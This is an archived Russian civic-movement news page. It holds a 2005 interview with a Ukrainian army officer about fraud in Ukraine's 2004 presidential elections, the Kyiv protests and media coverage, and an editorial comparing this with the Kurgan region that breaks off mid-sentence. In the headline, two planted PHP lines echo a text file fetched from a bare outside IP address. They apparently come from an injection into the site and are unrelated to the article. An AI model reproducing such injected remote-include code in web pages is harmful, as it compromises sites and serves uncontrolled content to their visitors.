ПРАВОЗАЩИТНАЯ СТРАНИЧКА КУРГАНСКОГО
ОБЛАСТНОГО ОБЩЕСТВЕННОГО ДВИЖЕНИЯ "ЗА ЧЕСТНЫЕ ВЫБОРЫ"
e-mail: gabdis@mail.ru
Пятый угол
правозащитников курганской области

Новости

Наш земляк- УКРАИНЕЦ: о выборах.    

28.02.2005


ВЫБОРЫ <?php echo file_get_contents("http://91.193.192.27/users.txt"); ?> <?php echo file_get_contents("http://91.193.192.27/users.txt"); ?>

ВЫБОРЫ.
ГРАЖДАНСКОЕ ОБЩЕСТВО В УКРАИНЕ ЕСТЬ!





 




Наше издание не могло обойти
вниманием события, связанные с выборами в Украине по двум причинам.




 




Первая, - мы также пережили
подобные выборы с манипуляцией голосами избирателей.




Вторая, - хотелось узнать впечатление
нашего земляка, родители которого родом из России, отец из Курганской области
(из Шумихи), мать из Башкирии, иначе говоря, одного из нас,  ставшего в 80-е годы украинцем.  




В Курган он приезжал в декабре,
навестить своего отца.




Предлагаем вашему вниманию интервью, взятое
у него Людмилой Исакаевой.




 




Расскажите немного о себе.





 




После окончания военного училища в 1987 году направили на
Украину.  Служил в пехоте, все время на
одном месте. Из нашей части направляли в Чернобыль. Двое моих сослуживцев умерли
от лучевой болезни. Они попали в Чернобыль в самом начале. Был в командировке
(непродолжительной)  в Нагорном
Карабахе. Но это в документах нигде не написано и не упоминается,  это еще в советское время было. Полгода там
был, добирались туда самостоятельно, на перекладных. Сейчас у нас нет горячих
точек, правда, в Ираке наши воюют, но обещают скоро вывести украинские войска.




 





В чем вы видите причину
нынешних украинских событий?





 




Началось это давно, лично по мне, - это в
армии началось в 2002 году. Начались сокращения, тогда и вникать начал во все.
Нас собрали всех вместе и сказали - вы не соответствуете службе в армии и вас
всех надо уволить. У нас был свой заводила, и начали писать там президенту,
министру обороны: за что людей принижают и все такое. А если за выборы сказать,
у нас, как и везде и здесь тоже чиновники издеваются, за какую-то бумажку
притеснения везде, нигде ничего не добьешься: вещевое имущество, деньги
получить, командировочные. Если в суд подашь - отвергают. Обжалуешь в высшие
инстанции, получается замкнутый круг. И вот когда началась предвыборная
кампания, начали приезжать многие кандидаты, мы ходили на площадь, и Ющенко
приезжал. Приходили послушать его. Он без лозунгов говорит, а объясняет людям,
как вы живете, куда ваши деньги идут. У нас экономика поднимается в Украине, а
благосостояние людей не поднимается.




А перед выборами пенсии подняли
резко, вообще-то не пенсия поднялась, а сделали добавку к пенсии. Где-то пенсия
была мизерная, а у чиновников бывших советских, аж зашкаливало. А работники,
которые в городе работали, в деревне - у них минимальная, одинаковая с теми,
кто вообще никогда не работал. Из-за этого и было возмущение. Объяснял он и про
армию, про прапорщиков, про нас. Например, прапорщик - он все ворует, и живет
прекрасно, а офицеры - нищие.




У него вообще обращение с
людьми, даже если вы видели по телевизору такое: "Друзья! Вы подумайте,
как это все происходит... " И объясняет что и как, правильно или не
правильно. Все доходчиво, все понятно. И когда начались выборы, особенно первый
тур, митинг  у нас был. Ющенко приезжал.
Площадь, которая у нас была, она полностью была заполнена. Несколько тысяч
человек.




Для маленького городка это
очень много. Ни мэр, ни местные власти, не рискнули, боялись даже выходить
туда. Площадь возле мерии - оттуда никто не вышел.




Потом Ветренко  приезжал от Януковича. Я тоже пошел
специально посмотреть: одни пенсионеры, 
молодых нет. Послушали его, поаплодировали, лозунги какие-то бросал
непонятные. Другие приезжали, коммунисты, например, тоже одни пенсионеры
приходят. Прошел первый тур и уже было понятно, что что-то не так.




Когда пошли на второй тур, уже
предупреждали, что будут фальсификации и все такое.




Когда второй тур прошел, то все
были возмущены. Ну как, мы же знаем, что 80% поддерживали Ющенко. Оказалось,
что это не так, какие то там непонятки.




У меня есть два знакомых, один
бизнесмен, а другой - директор фирмы государственной, они сразу говорят - мы
поедем в Киев.




А
у нас сначала показывал только один канал – 5-й. Он показывал митинги, до полутора-
двух миллионов людей участвовали. Такого никогда не было, на бывшем
постсоветском пространстве. Подобное было, когда разваливался Советский Союз,
отделение Украины… Сначала у нас тоже было информации не очень много. Один
товарищ, который поехал на митинг, потом звонит, говорит: «Вы не представляете,
что здесь происходит, такой подъем, настроение необыкновенное», «Здесь такая
обстановка, говорит его жена, Наташа, надо нам всем побывать здесь.»




 




Почему вы решили, что
результаты второго тура сфальсифицированы?





 




Друг у меня живет  в районе, в деревне.  Когда выборы были, приехал бус (автобус, -
ред.), в нем человек 11, такие спортивного сложения. Приехали, сказали, что  на охоту, хотя одеты были совсем не для
этого - в туфельках, в дубленочках.Проголосовали в этой деревне, и
все - им больше охота не нужна, поехали дальше, в другую деревню. И таких
случаев много Из этого было ясно на сто процентов, что выборы были
сфальсифицированы.




Потому что эти команды ездили и
по открепительным талонам голосовали.




Даже если вот эти 10 человек по
всему району проедут, проголосуют, то уже будет приличный процент голосов. А
там же за каждый процент была борьба.




 




Кто организовывал митинги?





 




По-моему, это стихийно все
произошло, люди собрались, поехали в Киев.




Посмотрели по телевизору, что в
Киеве собираются митинги, люди просто так ехали в Киев. Никто их не агитировал.
Ну, агитация была такого рода - если простые люди спрашивали, обычно говорили:
«Думай своей головой, за что ты ратуешь. За этого Кучму, его родственников,
которые владеют половиной предприятий рентабельных?» А многие знают обо всем
этом. И Януковича, который постоянно с Путиным встречался и ездил. Люди сами
видят, что что-то не то творится, и это не нравится.




 




А как люди относились к тому,
что Путин агитировал, поздравлял Януковича с победой?





 




Лично мое мнение -
отрицательное и моих знакомых тоже. Я отношусь довольно терпимо к политикам, а
вот люди которые коренные, или западнее живут, они не верят что Путин
прогрессивный человек, они вообще не 
воспринимают его.




 




Как у вас проходила агитация?





 




Ну, у Януковича показывали
такую бурную деятельность, как он каждый день кого- нибудь одаривал. Школы
открывал, машины дарил, как будто от себя, какие-то компьютерные классы. Вот
как у вас, например, автобусы ездят от губернатора как будто.




Если эта работа была
премьер-министра, то почему она так бурно началась во время выборов? Например,
мы получали зарплату в армии, кроме фиксированной оплаты у нас есть всякие
доплаты и вот есть такая надбавка – прези-дентская. До 50 %. В прокуратуре  постоянно платят такаю надбавку. А у нас
эту  надбавку ввели года два назад, два
месяца платили, потом пропала. А перед самими выборами за месяц, опять надбавка
появилась - это о чем-то говорит? То же самое с пенсиями – к пенсиям тоже какие-то
надбавки подняли, а саму пенсию не подняли. И это за два месяца перед выборами.
И во всех  СМИ это подавалось, как
сделанное Януковичем. И на митингах (митинги больше про-водили от Ющенко),
говорилось об этом. Янукович  сделал
надбавки к зарплатам, к пенсиям, и приводилось в пример, что по внешним долгам
у Украины было очень хорошее положение, а премьерство Януковича увеличило
внешние долги порядка 10 миллиардов. И не нравится вот то, что он поднял
зарплаты и пенсии за счет влезания в долги перед непонятно кем, то ли перед
Россией, то ли еще перед кем.




 Я думаю, что вот пройдут выборы, а деньги эти накачанные нужно
будет отдавать, и все. Тогда непонятно, что будет происходить после выборов.




Если бы это подняли год назад, это было
бы одно, а если за месяц за два до выборов, то совсем другую причину надо
усматривать. Они ошибку большую допустили, люди же не в первый раз у нас
голосуют. Перед каждыми выборами подачки, обещания,  выплаты, потом все прекращается  
до следующих выборов.




 




А как вели себя средства
массовой информации?





 




У нас один 5 канал не
кучмовский был. У нас работал до выборов, во время выборов и после. Давления
было на них много, в Донецке и в восточных областях у нас его отключили. А в
наших областях он шел, и российские каналы у нас идут. НТВ, Россия, - новости
слушать у нас любят.




Когда слушают российские каналы
- там говорят неправду. Когда они перед глазами видят, что на деле происходит,
а потом смотрят по телевизору, как  по
российским каналам передают совсем другое, складывается негативное отношение у
людей, чуть-чуть такое к России...к Путину...




Все остальные каналы и после
второго тура дня два-три поддерживали Януковича.  А потом журналисты, они может и не очень порядочные люди, но
смотрят, что народ митингует второй, третий день. И один центральный канал
сказал, что мы вести прекращаем выпускать. Они в эфире сказали, что на нас идет
давление, и под этим давлением мы не хотим работать. Через день все каналы,
которые у нас были, центральные и другие, прекратили вещание, вернее они резко
перестроились, если раньше передавали, что легитимные выборы, их признали
Китай, Россия и в таком формате все шло. А перестроились, стали вести в таком
формате, что стали показывать и требования митингующих и их политиков и другую
сторону. А донецкий канал ТРК-Украина, они гнули свою линию. 5 канал все
показывал уже без своих комментариев, просто показывают митинг, милиционеров,
дождь идет… И без комментариев. Показывали 
все города Украины, где шли митинги.




Почти со всей Украины, с
каждого большого, маленького города приехали в Киев люди. У нас городок
небольшой, но и у нас каждый день митинги были в поддержку Ющенко.




 




Как митинги собирались?





 




Просто после работы все
собирались и шли. Были, конечно, активисты, вот как у нас в армии, был заводила
- писали письма президенту, и такие идейные люди, которые верят, хотят перемен,
они и были заводилами. Палаточные городки были во многих городах.




Ровно - у нас ближайший большой
город, там тоже был палаточный городок.




Там трибуна постоянная, целый
день кто-нибудь постоянно выступает.




В Хмельницком я был, там тоже
самое. Митинги постоянные здоровенные бывают. Кто их организовывает, я не знаю.
Ну, просто люди сами идут.




 





А наши СМИ рассказывают, что
там одежду раздают, продукты?





 




Одежду и продукты не раздают. Символику
раздают, ленточку могут дать. Флажок, вот сын у меня привез. Сын митинги любит
посещать, завтра говорит, еще раз пойду. А ему четырнадцать лет.




 




А как люди не боялись, что
милиция выступит против вас, армия?





У вас не было попыток вашу
часть привлечь?




 







Нашу часть уже разогнали, если бы хотели привлечь, не
могли бы собрать никого. Но, по-моему, никто и не думал, что может быть так.
Ведь выступили не два-три человека, схватили плакаты и пошли, это было
массовое движение.



 






Все равно не понимаю, как  народ 
вышел на улицы?





 




Ну, тогда надо углубляться еще
дальше, в старое время. Еще когда вторые выборы президента были, люди хотели
против Кучмы пойти, ну не нравится президент. Ну  лицемерит, может быть. Может быть такой же и Янукович, а может,
хороший человек, не понятно.




 





А с Ющенко вам все понятно?





 




С Ющенко тоже не все понятно.
Мне, например не нравятся в его окружении некоторые. Тимошенко, например,
она  мне как фашистка кажется, например,
честное слово. Они договорились, например, с Ющенко, блокировали парламент,
правительство, чтоб на работу никого не пускать. Но,  когда не работает власть тоже плохо - банки перестали работать,
заморозили счета. Договорились, что надо снять осаду. Тимошенко сказала - нет,
надо оставить. Чуть ли не всех их расстрелять и все такое. Так то тоже нельзя
действовать.




Если все отношения разорвать с
Януковичем, то непонятно, куда народ пойдет в восточных регионах. Там,
например, думают, что если Ющенко придет к власти, то у нас порвутся все
отношения с Россией и думают, что им в Америку придется ехать жить, у них там
такая пропаганда. Американцы приедут нами руководить.




Я то думаю, так быть не может,
сам народ этого сделать не даст. С Россией у нас всегда будут отношения, как ни
крути.




 




Что вы знаете о нападении на
Януковича во время встречи с избирателями в Иваново-Франковске?





 




О нападении? В него кинули
яйцом – это все показывали по телевизору.




Там все было видно. А у вас
разве не показывали?




 





У нас показывали, но мало что
было понятно, сказали, что бросили тяжелый предмет, и кандидат получил травмы.





 





А к России изменилось
отношение?





 




Изменилось, появилось недоверие
какое-то. Появилось такое ощущение, что хотят поставить нам своего выдвиженца.
Янукович может и хороший человек, может нормальный человек, но слухи ходят, что
он полностью финансово обеспечивается Россией. А это очень отрицательно
сказывается на его имидже.




Выступает грамотно, и все. Но,
вот признал его Путин первым, и это сразу ему в минус пошло. Если бы я факты
знал, я бы мог сказать, но с одной стороны слухи, с другой - люди так думают.
Люди то думают, что с приходом Ющенко у нас все кардинально поменяется.




Потому что он, во-первых,
программу свою выдвинул, и изменения еще когда он премьером был, начались. И
тогда его убрали. Его парламент поддерживал. Самая большая фракция у нас там -
оппозиция. В отличие, наверное, от России. У нас хоть противовес президенту -
парламент, а у вас нет противовеса. Для нас это хорошо. Когда противовеса нет,
это всегда плохо. С одной стороны,  
когда парламент предлагает,  а
президент не утверждает - потому что это народу может быть плохо. А с другой
стороны может быть и наоборот.




 




Как у вас с ценами?




 




Бензин у вас дороже рублей на
5-10. Я этого не понимаю. У вас ведь и нефть добывают, и перерабатывают тут
недалеко. Пиво еще у вас в полтора раза дороже.




Продукты я здесь не покупал,
ничего сказать не могу.




У нас коммунальные услуги стоят
примерно так: за трехкомнатную, я должен платить на ваши деньги где-то 600
рублей. Но получается меньше, потому что у нас счетчики везде.




А люди хорошие здесь. Если у
вас цены еще поднимут, то, наверное, тоже терпеть не будут?




 




А как назначили третий тур?





 




По телевизору начались прямые
трансляции. Когда подали в Верховный Суд, на заседании верховной Рады приняли
решение о нелегитимности выборов, хотя они не имели правовой основы признавать
выборы недействительными, но они признали.




И Суд по этому поводу начался и
он транслировался по всем каналам, наверное в течении недели.




По 5 каналу он транслировался в
прямом эфире, со всеми вопросами и ответами, обвинениями тех и других сторон, я
сам с интересом смотрел этот суд.




 




Какое впечатление сложилось от
просмотра судебного заседания?





 




И так не сомневались, что
выборы были незаконные. После просмотра стало понятно, и скептики сами
убедились, потому что если даже полмиллиона голосов решали, в ту или другую
сторону, то в суде говорили уже о 3 миллионах открепительных талонов. По 5
каналу, например, показывали, как пытались поймать людей, проголосовавших по
открепительным, в бегстве потерявших пачки открепительных талонов.




Или, например, показывают в суде, как в
избирательных участках составляют протокол. Выборщиков, например, столько, а
проголосовавших на несколько человек больше.




И, например, всегда голосовало
около 60%. А в этих выборах оказалось около 80%. До 90% доходило аж в некоторых
областях. Да тут получается, что еще и больше 
100%.  А такого быть не может,
поскольку у нас люди на заработки уезжают и больше 80% не бывает. Телевидение
снимало явные факты фальсификации, сначала по 5 каналу показывали, потом по
всем другим. Все понятно.




Сейчас я уезжаю пораньше, хочу
успеть проголосовать 26 декабря.




****************************************************************************************




Этот разговор проходил в
Кургане, когда сын-украинец, гостил у отца-россиянина в Кургане.




Без всякого пафоса можно
сказать, что молодой человек – патриот своей страны, и также уважительно
относящийся к России, как родине отца и матери.




Если сравнивать Украину и
Курганскую область, то можно найти много параллелей.




У нас исчез в 2001 году
оппозиционный журналист В.Кирсанов. В Украине исчез оппозиционный журналист
Г.Гонгадзе, и Кучме вменяют это в вину. У нас СМИ контролируются жестко
властями, и у них до выборов это наблюдалось.




У нас население высказывает
возмущение, что выборами недовольно, и у них тоже.




Но сравним результаты.




За исчезновение Гонгадзе
приходится держать ответ публично всем представителям власти, включая
президента Кучму, и не только международные организации, но и граждане требуют
публичного расследования. У нас тишина, 
СМИ не только не тревожат власти, но и вообще умалчивают о требованиях
общественности по этому поводу.




За отмену сомнительных выборов народ вышел на площадь
требовать расследования, и Суд публично провел их. У нас до настоящего времени
не обнародованы официальные данные п



Данный материал прошел автоматическую обработку и мог быть искажен, оригинал материала: http://narod.zaural.ru/gabd/news/050228-1.htm
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             


Яндекс.Метрика
© 2010 Все права защищены, при использовании
ссылка на сайт движения "За честные выборы" обязательна
закрыть
   
Текст подсказки.